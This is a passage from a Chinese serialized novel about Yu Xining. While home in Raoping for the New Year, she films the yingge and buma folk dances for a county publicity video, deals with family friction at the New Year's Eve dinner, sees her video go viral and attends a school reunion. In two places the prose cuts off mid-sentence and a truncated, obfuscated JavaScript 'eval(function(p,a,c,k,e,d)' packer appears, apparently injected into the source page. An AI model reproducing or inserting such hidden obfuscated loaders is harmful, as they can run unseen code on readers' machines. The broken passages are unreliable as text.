排骨莲藕汤、肉末煎蛋、酸甜肉卷、清炒油菜花和蒜炝草鱼,草鱼块还是煎过的。 “来,先喝碗汤。” 余希柠扶额,为难道:“我来的路上吃了不少东西,吃不下这么多,你们俩多吃点,我喝汤就好。” 陈慧柔:“路上吃什么了?这么多个小时也该消化了吧。” 余希柠:“没,你们俩快吃吧,早知道就让你们别等我。” 客厅电视还亮着,余序洲惦记着电视剧,吃得很快,三两下就说饱了,仔细一看,四盘菜就动了一角。 陈慧柔命令他多少要再盛一碗莲藕排骨汤,免得剩下,余序洲答应后,直接端着碗筷去客厅吃。 餐桌上只剩下陈慧柔和余希柠,气氛瞬间安静下来。 “我吃饱了。” “希柠。”陈慧柔叫住余希柠:“上次事情是妈不好,不该说那些话伤你,这些天我想过了。” 余希柠回头看陈慧柔。 “先前是我太紧迫,就像你说的,急切地想要个结果而忽略了你的感受。这点我道歉,往后我会慢慢改,你给我些时间。” 余希柠坐回位置上,稍稍松了口气。 “妈,我始终是那句话,每个人都是独立的个体,除了母亲之外,你还是陈慧柔。不要把全部注意力都放在我身上,你自己也很重要。” 不用去做压迫者,也不用去做牺牲者,女性本该互相体谅而不是互相为难。 母女俩算是和好了,虽然余希柠也不敢保证,这次会不会像之前几次一样,只是短暂平和,然后重复争吵。 但她仍旧相信一切会向好的方向发展,只要陈慧柔愿意接纳她的观点,精神上,就算是反抗过了。 53. 宣传 第二天一早,余希柠吃完饭就出发前往霞西村委会,她和宣传部的许老师约好了在这见面,到的时候,门卫大叔第一时间就认出她。 “小姑娘,我知道你,之前来给潮剧团拍宣传片的。”大叔竖起大拇指,赞赏道:“那片子我看了,拍得真不错!有气势!” “谢谢,没想到您还记得我。” 这都多久以前的事了,余希柠有些受宠若惊。 余希柠刚把车停好就接到许老师的电话,很快就见一个年轻女孩从办公楼上下来。 许小洁也是90后,潮州人,毕业后考公来到县委宣传部工作,是这次拍摄任务的主要对接人。 两个女孩原先在微信上就已经聊得很来,见面客套了两句就笑了。 “还是别这么官方了,我们先找个地方坐下聊?武术队和布马舞的人都还没来。” “行。” 两人找了个亭子坐下,许小洁问起余希柠为什么会对摄影感兴趣,又聊到之前在网上看的潮汕英歌舞的视频。 “其实这次领导想拍宣传片也是受了普宁那边英歌舞的传播影响,不知道你有没有在抖音上刷到过,前段时间很火的那个。我应该有发给你看?” “刷到了,很有气势跟感染力,主要是它的节奏和舞蹈队形,跳得整齐就会很震撼。” 方阵如游龙腾云,一帮人踩着雷霆般的鼓点,用肢体复刻着梁山好汉破阵的雄姿,热血贲张。 “对,后来很多媒体啊,大V啊都去拍英歌舞,传播面很广,以至于现在大家说起潮汕非遗文化,都会先想到英歌舞。如今还有专门的特色学校,会把英歌舞作为体育教学的一项特色内容教给学生,外面的青年人也有不少特地来学。” 许小洁说的这些,来之前余希柠都了解过,她上网找了不少英歌舞的视频,包括传播途径、形式、内容,甚至是话题,都一一刷了一遍。 县里这次就是想把饶平布马舞,像普宁英歌舞一样传播出去,通过短视频的形式。同样是非遗文化,饶平布马舞也需要被看到。 “英歌舞相对来说,很热烈、奔放,特别是空中抛槌花、向外翻跃、击槌、颠步……那些动作鲜明独特,形成一种独特的美感,配合上鼓点节奏,势如破竹。外加它还和祭祀祈福那些沾边,既是民俗事象传统文化,又是舞蹈艺术,感染力很强。” 余希柠斟词酌句道:“布马舞相对来说,从舞步、道具上没有英歌舞那么有气势?当然,它们原本也不一样。” “我知道你的意思。”许小洁听出了余希柠的话外之音:“这也是我们今日的课题嘛,需要我们去挖掘两者不同之处,去放大表现给群众看。” “我能不能问,这次县里有没有找其他供应商专门做这块拍摄啊?不会就只有我一个人吧?”余希柠笑得有些勉强,“我压力很大。” “有招标负责整个文艺活动传播的,只是我们想多拍些不一样的,非常规的视频用于投放在社交平台上,所以找了你。毕竟你是土生土长的饶平人,家乡文化会比外人更懂一些?” 许小洁还是很信任余希柠的:“你之前给我看的分镜脚本我觉得就不错。” 余希柠有些不好意思:“我还想等这几天深度接触下来后,再改动一些镜头安排。” “没问题,艺术创作嘛,以创作者的灵感为主。” 两人聊了会,武术队的老师们就到了,他们练的是英歌舞,今日没有上妆,但服装已经换上,有黑、红、绿、黄四种。 许小洁介绍双方认识,又陪着余希柠看了会训练,因为还有其他工作安排就先行离开了。 余希柠一个人跟着武术队的老师们,他们练,她就抓镜头,他们休息,她就坐一块聊天。 闲聊中,了解武术队的老师们是从什么时候开始练英歌舞,平日里都有哪些时候需要表演,有没有什么学艺的历程以及传承的态度跟建议等等,这些都是网上搜集不到的资料内容。 没过多久,布马舞的老师们也到了训练场,余希柠恨不得把自己一分为二,一个拍英歌舞,一个拍布马舞。 “哎这小姑娘我有印象,给老许他们剧团拍视频的是吧?三年前?” 布马舞领队刘钊率先认出余希柠,余希柠忙颔首打招呼:“刘老师好,没想到您还记得。” “我当时也在啊,看你明明也举着相机拍了我们,怎么后来没视频啊?” 刘钊开玩笑道。 余希柠不好意思地摸了摸鼻尖:“当时只是拍了照片,这次我一定好好拍。” “妹儿是饶平哪里人啊?听口音黄冈的?” “对。” “多大啦?你学摄影的吗?怎么就你一个人来拍?后面几天也是吗?没有个助理什么的?” 布马舞的老师们明显比武术队的要热情很多,聊天口吻像极了街坊邻居看到刚毕业回来的大学生,余希柠有些招架不住,但还是笑着回了几个问题。 连着去了三天,第三天武术队的老师也开起玩笑,怂恿余希柠下次换身运动服来学几个舞步,当锻炼也好。 余希柠难得接话:“明年,明年我提前来报班。” 今天两支队伍都是带妆拍摄,明天就是初一正式表演了,余希柠抓紧对镜头查漏补缺,午饭都是在村委会这儿吃的。 陈慧柔下午来接她时,布马舞的老师们刚结束训练。 “这不是陈家的大妹,慧柔吗?” 锣鼓队的老人们认出陈慧柔,陈慧柔停下车上前打招呼,聊天中才知道,原来余希柠是她女儿。 “哎哟你这个走仔啊,长得真漂亮,养得有成绩!” 陈慧柔笑笑。 刘钊和陈慧柔也认识,以前都是老厝边(邻居),平时多在菜市场遇见,属点头之交。听说余希柠是她女儿,刘钊刚忙凑过来,一脸的惊讶。 “难怪我看她面熟熟,原来是像你。” 见余希柠还在拍摄,陈慧柔就没有上前打扰,和刘钊几人聊起来。 “原本昨天想跟她一块来看看表演,她说今天才带妆彩排,我忙到这会儿才得空过来,你们是已经结束了?就等明早演出?” “对,待会和其他单位的代表一块开个会,然后就回家过除夕夜了。” 刘钊抬起下巴,指了下不远处的余希柠,问:“你女儿在广州工作?也是摄影行业?” “不是,摄影只是她的爱好,她主业是做海外市场营销的。” 刘钊竖起大拇指:“你家走仔是这个,厉害。结婚了吗?” 陈慧柔讪笑两声:“还没呢。” “有对象了?” 陈慧柔摇摇头。 刘钊:“那得抓紧啊,别不舍得。” 武术队的老师也收工了,余希柠检查镜头时发现陈慧柔来了,便背着包走过去。 “妈,你和老师们认识?” “我和你妈是老厝边,老相识了。”刘钊主动解释,看了眼时间,“我们先走了,还得去放道具。” 余希柠:“好,老师明天见。” 陈慧柔也挥了挥手。 余希柠把相机收起放回包里,问:“之前怎么没听你说过和布马舞的老师认识啊?” “我也不知道他还在,应该算是第三代了,你这两天来,有年轻人吗?” “有啊,主舞都是年轻人,还有小孩,但不多。” 余希柠系好头盔准备出发,今儿是除夕,照例要到爷爷家吃晚饭,余序洲已经过去着手准备了。陈慧柔和余希柠到的时候,正好在楼下遇见余稚乔陪着余胜远玩。 “二嫂来了,胜远,你跟着希柠姐姐玩,姑姑上楼帮忙做饭。” “二婶。” 余胜远叫完人,拉着余希柠就跑。 余稚乔扶着腰,长舒一口气:“就盼着希柠赶紧来接替我,骨头架子都快散了,楼上也待不住。” 陈慧柔笑:“应该让爸带孩子的,他不是最疼这个小孙子吗?” “那也得带得动啊,余胜远这么折腾,别把爸给累坏了。” 余稚乔和陈慧柔一块上楼,问起余希柠这些天干的活:“我听老二说,她在拍片子赚外快?年底开价不低吧?” “这个我不清楚,没问过她。” 陈慧柔没说假话,她知道余希柠业余有接商单,但赚多赚少没问。 “兴许是志愿劳动也说不定。” 余稚乔不信:“那不能吧,亲兄弟还明算账呢,我听说这次是县委宣传部的找上来,开价肯定不低。” “那等她上楼了,你自己问问。” 余希柠在楼下陪着余胜远,找了个干净台阶坐着,拿着随手捡来的树枝叉子随意拨弄。 “胜远,你姐今年过年回来吗?” “不知道。” “你没问过?不是你亲姐吗?” “就是不知道。” 余希柠和这个小堂弟着实没话说,待了一会就问能不能上楼,准备洗手吃饭了。小冤家噘着嘴不让,又嚎又叫的,生怕吵到周围的住户,余希柠只得答应再玩一会。 “你爸妈平时不给你姐打电话吗?怎么连她回不回都不知道?” “不打,哎呀希柠姐,你老问我姐干什么,她都嫁人了你还问问问。” 小鬼头说出这话,余希柠一脸惊讶:“那嫁出去了也是你亲姐啊,你小时候的玩具、奶粉、衣服可都是你姐买给你的。” 余胜远没理睬,顾自玩着。 该吃饭了,黄蕾亲自下楼来找人,许是知道余希柠肯定拉不动余胜远。 “大伯母。” 余希柠拍了拍裤腿起身。 “诶希柠,能吃饭了,上楼吧。”黄蕾揪着余胜远的胳膊拉他起来,一边拍一边骂:“我天,搞得这么脏,你真是欠打啊!” 余希柠刚想附和一句,确实欠打,就听黄蕾来了句—— “你姐也不管管你,任由你这么玩。” 余希柠一听,嘴角往下撇,转身故意当没听见似的地往回走,没两步就跑起来,直接把黄蕾母子落下。 进屋后,余希柠挨个叫人,余序洲袖子挽得老高,进进出出端盘子,倒真有点主厨的模样。实际上菜色都是陈慧柔在家里先做好的半成品,端过来就只是温热或者翻炒那么简单。 “爷爷。” “哎,快去洗手,先吃碗甜汤,我给你盛好了。” 余光亮自己也端了一碗坐在沙发上吃。 甜汤就是五果汤,是潮汕地区的年俗食物,这么多年一直没变。除夕晚聚餐前,余光亮都要舀一碗甜汤给全家人吃,量不用多,胜在意头。 余希柠小时候不爱吃,也不懂什么习俗,只知道这汤太甜,吃完肚子就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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陈慧柔笑着解释:“我不敢炸太过,怕上火,就煎了一下。” 黄蕾也加了一块蘸酱尝了尝,评价:“确实是不酥脆,你这粉应该用错了,得用市面上那种专门的炸粉,过一下粉跟蛋黄液再裹上面包糠然后下锅炸。炸虾饼吃的不就是这个酥脆口吗?” 陈慧柔也不生气,淡定道:“第一次做,下次学着大嫂的做法来。” “呸呸呸,好多刺。” 余胜远又夹了一块鳗鱼,结果被小刺扎到,一整块吐了出来。余希柠就坐在旁边,眉头直接皱起。 “鲈鳗本来刺就多,你不会吃就别夹,吃几个肉丸吧。” 内心道,吃还堵不上你的嘴! 黄蕾见他吐在了余希柠碗筷旁边的位置,忙拿纸巾擦掉,一边训他:“再吵就别上桌吃饭。” 余光亮心疼了:“唉大过年的,说什么上桌下桌,小孩吵是自然的,胜远不吃鱼就尝尝别的,那么多菜呢。” 余序洲夹了个大鸡腿放到余胜远碗里:“对,尝尝烤鸡腿,你一定喜欢吃。” 全围着这个小祖宗伺候,余希柠不动声色地挪开一点位置,埋头吃饭,想着赶紧吃完离开。 谁知黄蕾突然开口问道:“对了希柠,你明早是不是要去县政府门口拍摄啊?把胜远带去行不行?你在的话,他应该能在前排看表演吧?” 余希柠还没说话,陈慧柔先拒绝了:“嫂子,起早些去占位子就行了,希柠是去工作的,带着弟弟不方便。” 黄蕾不理解:“怎么会不方便呢,胜远很乖的,就坐在旁边看节目。占位的话,那得多早就去,起不来的。” “你们家离得近,过去十来分钟就到了,希柠从家里骑车过去还得半小时。这次是县委派的任务,不好出差错,不然出问题了,责任谁负?” 陈慧柔脸上笑笑,语气不疾不徐。余稚乔旋即看了眼黄蕾,见她嘴角当场就抿紧了往下撇,挂脸了。 “确实,听说这次是宣传部的人主动找上希柠的吧?好好拍,等片子播了我第一时间转发。” 余稚乔一句话就把这话题给带过去。 余希柠放下筷子抽过纸巾擦了擦嘴:“我吃饱了,爷爷、大伯大伯母、姑姑你们慢慢吃。” 余光亮急道:“这么快就吃饱了?我怎么看你都没怎么动筷啊?” 黄蕾接话茬:“爸,你这就不懂了吧,现在女孩子都注重身材,吃一点点就说饱了。清越也是,说平时晚饭都不吃,要减肥。” “她都那么瘦了还减?不能减了,你当妈的得提醒她。” 说起来,余光亮也有好长时间没见过余清越了,不免多问了几句近况。 黄蕾咧着嘴笑,声量都拔高了不少:“她现在都嫁出去了,我哪里管得了那么多。应该过得还不错吧,好像买房了。” “好像?买没买你是她亲妈,你不知道?” 余稚乔简直就是余希柠的嘴替。 余希柠表面是坐在沙发上玩手机,实则正竖起耳朵听着黄蕾的话,刚觉得这话有问题,就听见姑姑追问了一句。 黄蕾:“她现在主意大了,又不跟我交流,上次打电话给她,说在搬家,估计就是买房了吧。” “你们家买房不也瞒着她,现在又怪她是不跟你们交流,大嫂说话还挺幽默的。” 余稚乔放下筷子擦擦嘴:“我也吃饱了,你们慢慢吃。” 她主动问余希柠要不要下楼散步,原本还想着听八卦,但又不好拒绝姑姑,余希柠只得答应。 54. 火了 晚上回家,陈慧柔问余希柠:“你小姑拉你下楼散步,聊什么了?问你拍片收费多少?” “没有啊,你怎么会这么问?” “下午她问我了,我说不知道,好奇的话可以自己问你。” 陈慧柔把吃不完的烤鸡、鲈鳗都带回放进冰箱里,余光亮和余稚乔两人吃不了那么多剩菜,两家分了些各自带回来。 余希柠顺手从冰箱里拿了瓶益生菌喝。 “小姑没问拍摄的事,只是问工作情况,还有问我有没有跟清越姐联系。” 凭饭桌上余稚乔和黄蕾的对话,余希柠判断余稚乔应该是在替余清越打抱不平。 “你小姑像你这么大的时候,就经常跟大嫂起冲突,见怪不怪了。” 陈慧柔把用完的塑料袋挨个扎好放进框里,留着当厨余垃圾袋用,洗干净手,难得主动聊起那些陈旧的往事。 余希柠站在一旁听得津津有味。 “你爷爷奶奶对你小姑,那是少有的偏心,你爸和你大伯都比不上。你小姑在你大伯家受了委屈,就跑回家吃饭,一桌子菜,你奶奶就把鱼跟肉放在她面前。” 余序洲从外面回来,进浴室洗手,听到陈慧柔和余希柠的聊天内容,半句话都不敢接,慌忙逃走。 他太了解陈慧柔,知道她一旦开始聊从前的往事,就很难停下,这时候不跑,等到她聊到委屈的地方,把气撒在他身上就晚了。 “妈,你以前和大伯母相处得不错吗?我反正不太喜欢她,清越姐多好一个人啊,真不知道她怎么想的,都不像亲妈。” “你大伯母年轻时确实很不容易,一个人操持着家,还要照顾清越。你大伯常年在深圳打工,过年过节才回来一次,中途还有两三年是在外省,总想着省点路费好给家里寄钱,基本没怎么回。” 陈慧柔摇摇头,同为女人,都是余家的儿媳妇,她觉得日子过得难,但比起黄蕾又要松快不少。 不过对于黄蕾的一些行为,陈慧柔也不认同,这也是她近几年和黄蕾走得远的原因。 “你和清越平日里联系多吗?” “从前还行,现在不怎么联系,偶尔会问她看看妹妹的照片或者视频,她就会发一堆过来。年前我给妹妹买了两件衣服,寄过去了,就当新年礼物。” 陈慧柔点头:“你们堂姐妹,有时间还是要多走动走动。” 余清越是典型潮汕家庭里的牺牲品,陈慧柔没有和余希柠说——她总能在余清越身上看见自己年轻时的影子。 因为不是女孩,所以会被忽视,家里想有个男孩的想法迫切得连她一个孩子都能看出来。 从小听话乖巧,帮妈妈干活,踩在凳子上做饭洗碗,写完作业就打扫卫生,挨骂了也不会吭声半句,生怕听见妈妈一句:“你要是男孩就好了”…… 上学时同学们都有漂亮的文具,精致的书皮,崭新的书包,只有她一支铅笔用到太短了捏不住才扔掉,一个书包背到六年级毕业才换新的。因为妈妈说,爸爸在外工作很辛苦,要省点钱。 省钱就是,余清越从小很少买新衣服,因为个子跟余希柠差不多,初中的时候还回收过余希柠不穿了的衣服。后来上大学就想方设法勤工俭学,发传单、卖日用品、拉赞助等等,什么兼职都干过。 给家里寄回来钱也是想听父母夸一句,我们家清越真能干。但父母买房却瞒着不让她知道,像是怕她回头来跟年幼的弟弟抢这套房子一样。 春节联欢晚会开始了,余序洲喊道:“快出来看节目了。” 陈慧柔敛眸藏起眼底情绪,拍拍余希柠的肩:“不说了,我先去洗澡,你去客厅陪你爸看电视吧。” 因为初一要起早拍摄,余希柠今年就没有守夜,早早上床睡觉。结果睡到一半,手机消息不停震,迷迷糊糊拿起来看了眼时间,零点。 窗外传来烟花绽放的声音,咻~砰砰砰! 余希柠挣扎着爬起床,开了盏台灯,背靠着床头回复拜年消息。 林屿沉的消息也夹在其中,正正好好是零点零分发来的,一段烟花视频,还有一句新年快乐。 余希柠揉了揉眼睛,还觉得有点不真实。 这该不会是群发的消息吧? 往年也没有这种待遇。 即便如此,余希柠还是回了句,新年快乐。 视频点开来,像是在江边拍的,至于哪个点位,余希柠看不出来。林屿沉很快回了条消息,还没睡? 余希柠:“要睡了。” 林屿沉:“晚安。” 简短的对话看不出来什么,余希柠打了个呵欠,把手机切换成睡眠模式,丢到一旁,翻身入睡。 初一一早,余希柠给父母拜完年就背着相机出发前往县政府门口,佩戴工作证,选了个最佳机位。跟完整场演出后一刻不敢耽误便回家剪片,她和许小洁说好了,争取当日出片进审核。 余序洲和陈慧柔出门走亲戚,回来后发现余希柠还在房间里争分夺秒剪镜头调色彩。 “看来这份工也不容易,熬久了眼睛都得熬坏。” 陈慧柔切好了水果端给余希柠,吩咐她适当放松一下眼睛,别一直盯着屏幕看。 下午五点半,样片出来了,余希柠直接传网盘,复制链接发给许小洁。等待回复的时间里,躺倒在床上,脑海里全是鼓点节奏,一刻都停不下来。 好困,好想就这么睡过去。 “希……” 余序洲进屋刚准备叫人,就看见余希柠睡着了,忙蹑手蹑脚退出来。 陈慧柔见状,问:“怎么了?” “睡着了,和你哥说今晚就不过去吃饭了,我看她电脑还开着,不像干完活的样子,指不定休息会还得继续。” 余序洲有些心疼余希柠:“晚上就在家里简单吃吧。” 陈慧柔:“好。” 余希柠是真睡着了,梦里回到小时候,还住在第一小学那会儿。陈慧柔负责带队参加锣鼓班巡街,她吵着闹着要去跳布马舞。 陈慧柔不让,她就自己钻进布马舞假马道具里,还有模有样地跳了一段给妈妈看,舞步标准,踩点正确,可陈慧柔脸上却毫无惊喜夸奖之意。 反而是指着余希柠的鼻子骂:“原来心思都花在这种事情上了,难怪期末考试考了倒数第一!看我不揍你!” 余希柠吓醒了,脑袋昏沉得厉害,缓了好一会才爬起来,拿过手机一看,已经六点半了。 许小洁半小时前回了消息—— “样片通过啦,领导很满意,想问下这两天能不能多剪两条一分钟的视频,英歌舞和布马舞高光踩点那种,可以发短视频平台宣传。” “需要给你找样片吗?我感觉你应该知道。” 她连发了两条消息。 余希柠回了个好字,趿拉着拖鞋走出房间。余序洲正在客厅看电视,怕吵到余希柠,特地开的静音模式。 “醒了?” “嗯,妈呢?” “做饭呢,没哪里不舒服吧?” 余序洲见她耷拉着肩,一副很疲惫的样子。 “没,就是起得太早了太困。” 余希柠洗了把脸,进厨房围观晚餐吃什么,探头探脑的模样引来陈慧柔注意。 “片子剪完啦?” “还没。”余希柠拿起筷子夹了块糖醋排骨放进嘴里,嚼动:“好吃。” 陈慧柔一听她说还没剪完,扁了扁嘴:“这么难?也太辛苦了吧?” “一个人干活是慢了点,但也是为了出品质量,咱这个可是官号发布的,不能含糊。” 余希柠看了下,汤还没煲好:“是不是还得等会才开饭?那我去改一下视频。” “去吧,待会叫你。” 余希柠把片子加上官方logo后重新检查了一遍,余序洲闻声而来,敲了敲门:“能进来看一遍吗?” “当然。” “没保密条例吧?” 余序洲嘴上这么问,但人已经进来了,站在余希柠身后,手搭在电脑椅靠背上。 三分钟的片子一下就看完了,余序洲沉吟片刻后点头:“拍得不错,剪得也好。” “没啦?” 余希柠想着听听看余序洲有没有别的建议,却见他仔细打量着自己:“怎么了?怀疑我这是网上买的素材?” “是对你刮目相看,确实剪得很不错。原来你在自己喜欢的事情上,也是可以坚持付出,做到最好的。” 余序洲上一秒还在夸,下一秒话锋一转:“这精神当初要是能用在学习上,用在练琴上,家里指不定能出个学术大拿或者钢琴家。” 余希柠翻了个白眼,一把推开余序洲:“你又来,最烦听你们说这些。” 她重新把耳机戴上,隔绝掉那些算不上是称赞的话。 晚饭前,余希柠重新输出一版高清带logo的宣传片提交给许小洁,对方当即验收。另外两支一分钟的短视频不急着今日就要,她打算留到明天再剪,也让电脑休息会。 “今晚没任务的话,吃完饭去给你大舅、大舅妈拜年?你上午都没去,他们还问起了。” 潮汕是最重传统习俗的地方,特别是过年过节给亲戚拜年这点。 余希柠看了陈慧柔一眼,点头答应:“行,我自己开车去?” “嗯,记得带双大桔。” 大年初一,黄冈城的夜晚异常热闹,沿街不少小贩在卖气球、烟花、孔明灯还有各种手工小物件。 吃夜炒的摊位坐满了人,经过还能闻到煎薄饼和煎蚝烙的香味。 余希柠很久没有在夜晚开车逛小城了,徐徐的风吹在脸上,惬意得很。经过菜市场时,目光不自觉落在大榕树旁的铺子上,门是紧关着的,没有营业。 听陈慧柔说,林家早就把这边的铺子租出去了,难怪近几年回来,都没有看见过林屿沉的爸妈。 余希柠刚到陈敬涛家门口,就听见屋里的谈笑声,很是热闹。王君通过监控视频看见她,出来相迎。 “希柠来了。” “舅妈新年好。” 余希柠换好鞋子进门,举着一对大吉拜年,屋里除了陈敬涛夫妇、陈梓钰和陈梓航,还有几个面生的长辈。 “这是慧柔的女儿,希柠。早上去给县委宣传部拍片去了,没跟她爸妈一块过来。” 拍片。 不得不说,陈敬涛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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陈梓钰当时就觉得很不对劲,借着给球球做宝宝餐的机会,把王君拉进厨房,一问才知道年前陈慧柔和陈敬禹吵了一架。 “我妈为了我,和小舅吵架?” 余希柠一脸的不可思议,以至于被球球一拳推倒在床上时,还愣神起不来。 陈梓钰拉着她,感叹道:“有时你觉得大姑迂腐、落后,恪守着传统潮汕女人那些很封建的思想,但关键时刻,她也是用尽力气替你说话,这甚至都不是她的风格。” 当时听完王君的描述,陈梓钰都很难想象那个画面,再三确认—— “我姑真的直接放下筷子就走吗?真的直接对吵了吗?真的吗?” 王君点头:“我自己当时都吓到了。” 余希柠倒推着时间线,苦笑:“难怪她那个周末突然拿我跟时宜作比较,说我挑剔,也不看看自己什么条件就嫌这嫌那。” 陈梓钰:“我姑很帅气。” “但她也把这气转头撒在了我身上啊,明明可以不把我当作转嫁情绪的对象。”余希柠逗弄着球球,勾唇道:“不过我还是很开心,她最起码没有迎合小舅的话。” 小孩睡着了,陈梓钰和余希柠才下楼,彼时客人已经走了,王君端着茶盘进厨房清洗,陈敬涛坐在主位上刷手机短视频。 见余希柠下楼来,便拿出饶平官号刚发的视频问:“你拍的是这个吗?” 余希柠凑前一看,摇头:“这个应该是供应商拍的,有大全景跟无人机拍的城市镜头。” 陈敬涛:“我说呢,你怎么可能拍出这样的镜头。” 陈梓钰原本正在跟张城说话,听见陈敬涛这句,下意识看向余希柠,见她表情淡淡,哂道:“爸,航拍跟手持能一样吗?希柠一个人顶过人家一个团队,她剪的片你没见过,网上火得很。” “真的假的,你号哪个?我关注一下。” 陈敬涛把手机递给余希柠,余希柠没接,借着拿大桔的动作,不着痕迹地躲开:“舅舅舅妈,我该回去了,还要去我大伯那拜个年。” “要回去啦?行,路上小心。” 王君擦干手出来,把人送到门口。直到看不见余希柠身影才回头瞪陈敬涛:“上次的教训还不够?当舅舅的说话能不能圆滑点。” 陈敬涛一脸无辜像:“我就问她的账号是什么,怎么了?” 陈梓钰和陈梓航都不搭理他,转身离开,剩下一个张城,跟余希柠不熟,也不清楚状况。 余希柠到家,正好看见陈慧柔和余序洲送客回来。 “哎路上有遇到你表姨吗?她刚走。” 余希柠老实回答:“我没留意。” 洗完澡,她拿着手机回房间,正想着刷一下官号看有没有发视频,就看见许小洁半小时前发来的推送链接。 半小时过去,视频已经有上万个点赞,数据和上一条视频相差明显,评论区也有人在议论—— “这支拍得好好,有气势!是专属于英歌舞和布马舞的视角!” “啊我们饶平国的布马舞终于有属于自己的人生镜头了!” “这视频必转,拍得太好了!” “这才是独属于饶平的年味!” …… 余希柠把视频分享到朋友圈,没加任何文案。 知道的,例如余稚乔,第一时间点赞评论夸奖一条龙,不知道的,例如同事,只当是在传播家乡文化,礼貌点了个心。 55. 关系 小学群里,班长圈了所有人,问今年初五有没有时间聚一聚,想组织一下去唱K或者去农庄野炊。 群里问了,私底下也小窗口问余希柠,毕竟她之前参加过。 余希柠意愿不是很强,还得看宋乔去不去。正当她准备私聊宋乔,就看见群消息成倍上涨。 莫不是发红包了,反应这么热烈? 点开一看,红包没有,红人有一个。 林屿沉出现了,说他参加。 底下一堆人惊讶大忙人今年竟然没潜水,也有的直接问林屿沉现在在哪里高就,怎么这几年都没有出现过。 林屿沉逐一礼貌回复,期间还用了几个眼熟的表情包活跃氛围。 那几个表情包正是余希柠发给他的,单纯打字说话太生硬,余希柠很喜欢通过文字夹杂表情包的方式来让对方了解她的语境。 没想到林屿沉居然都收藏了。 “表情包小偷。” 余希柠嘀咕了一句,随手回复班长,我参加。 没过多久,宋乔也看到群聊天,截图发给了余希柠,也是同样震惊。 “你看到了吗?林屿沉居然出现了,而且要去参加聚会?可惜了啊!我初五的时候在公婆家,去不了!” 余希柠:“啊初五还在公婆家?我以为你能参加……” 宋乔:“你报名了?群里没看见你接龙。” 余希柠:“班长私聊我,我就答应了,以为你也会去。” 宋乔:“时间撞上了,不然我肯定去,哎呀你和林屿沉都在的场合我怎么可以错过!越想越生气,我问问陈遇看到时候能不能提前溜。” 余希柠:“……” 她还没和宋乔说过,其实自己已经和林屿沉见过了,是个比小学聚会还要戏剧化的场景。 聚会地点最后定在了石壁山脚下一个农庄里,近两年后山那条路开辟了不少小庄院,专门提供给游客聚会喝茶,还有小包厢可以唱歌,提供农家菜、卡土窑、烧烤等服务,待上一天半天都不无聊。 余希柠踩点到,人群中几乎是一眼就认出了林屿沉,旁边还围了几个同学不知道在聊什么。 宋乔不在,余希柠和几个之前有联系的女同学玩一起,聊起近年来一些小八卦,一个个眼睛都带光。有女人在的地方,总不会缺话题。 “有没有要负责串串的同学啊,买了食材但还没来得及串!” “有有,我来帮忙。” “我负责烤串!这我拿手!” 一项烧烤任务,一下就支走了六七个人,看得出来大家都争着手上有活干。 “宋乔没来?” 林屿沉拿着杯饮料走过来,直接在余希柠身边坐下,大衣衣摆摩擦她的羽绒服发出窸窣声响,余希柠下意识伸手捋平。 “她今天没空。” “打算什么时候回广州?” 余希柠偏过头看林屿沉:“明天下午的高铁,你呢?” 林屿沉仰头喝饮料,喉结滚动,喝完把纸杯捏扁,随手丢掷在一旁垃圾桶里。 “我初八才走。” “哦哦。” 同学聚会的场合,余希柠也不敢表露出对林屿沉的过多好奇,光他俩这会坐在一起,就已经有同学在议论了。 “我说这对组合怎么这么眼熟,不是每周三都记我迟到那对班干部吗!”一个男同学冲上来说,单脚跺地:“我全都想起来了!” “对哦,希柠和林屿沉以前还是搭档。”有女同学跟着附和。 方才那个男同学激动道:“以前上学,最讨厌的就是周三,余希柠像班主任亲女儿一样,恨不得把那违规违纪本都写满了。” “对对对,我记得午写也是最累的一天,满满一整黑板的题,抄完手都快断了。” “后来是不是专门为了她改的规定,午写不用抄题目,写答案就可以了?” “没有吧,要上交的,只有题目的话老师怎么批改?” “反正就是轮到余希柠值日,我们就遭殃。” 眼前莫名其妙变成控诉大会,显得当年有种借官威欺负同学的感觉。余希柠听着听着有点不好意思。 “你们不迟到的话,她也不会把名字写上去吧?”林屿沉率先开口,帮余希柠说话,“迟到、早读不认真说小声话、没佩戴校章进教室,不都是有错在先,要不然她也不会写。” 男同学:“林屿沉,你这是在帮余希柠说话吗?” 余希柠耳根一红,正想为自己开口分辨,就听林屿沉淡然道:“她是我搭档,我不替她说话,替谁说话?” “哇哦!” “哇!” 起哄的声音此起彼伏,余希柠不顾脸上温热,抬手往下压了压示意:“各位老同学麻烦放过我哈,旧账就别翻了,我承认,我当年可太喜欢写粉笔字了,所以恨不得多出一些题目可以写满整个黑板。错了错了,我现在知错了。” 女同学笑道:“罚你待会多吃两串烤串。” 余希柠:“遵命。” “对了,你俩都在广州工作的吧?平时私底下见面吗?” 起哄的男同学还没放过林屿沉和余希柠,只因见林屿沉主动走到余希柠旁边坐下,老觉得有什么情况。 刚来那会可没见他对哪个女同学那么主动。 “见过。” “没有。” 两人同时回答,却是不同答案,一看就是没对好。 男同学一眼看穿:“有猫腻。” 林屿沉也回头看余希柠,单挑着眉毛,一字一句说得缓慢又清晰:“说好的救命之恩没齿难忘,这就忘了?” 男同学:“救命之恩?” “没什么,救的不是她的命,是她朋友的,也就那一次。”林屿沉脱下大衣外套放在一旁,慢条斯理挽起袖子:“是不是要垒土窑了?我来帮忙,这题我会。” 林屿沉一走,吃瓜群众自然而然也就散了,余希柠也给自己找了点事做,偶有一两个人过来问她和林屿沉什么情况。 她讪笑着回答:“老同学……和朋友的救命恩人。” 平白无故给郑重揽了一个恩人,但实际上这人情,是余希柠自己欠下的。 两点多才吃完午饭,一拨人唱K,一拨人玩狼人杀,另一拨人沏茶闲聊。聚会从早上十点开始,下午四点多才结束,原本还说要一块去高堂吃火锅,但余希柠实在折腾不动了。 她明天的高铁回广州,今晚还要去爷爷家,这会儿只想回家补个觉,眼皮沉得厉害。 “那续局的跟我走,其他要回去的人看看是打车还是有同学顺风车载一程。” 班长流程组织到一半,想起还没拍大合照:“重要的事情差点忘了,等一下,拍张合照先!” 余希柠穿好外套,走到前排靠边位置站着,见几个男生走过来,里头刚好就有林屿沉,她心虚地别开视线,同旁边的女生说话。 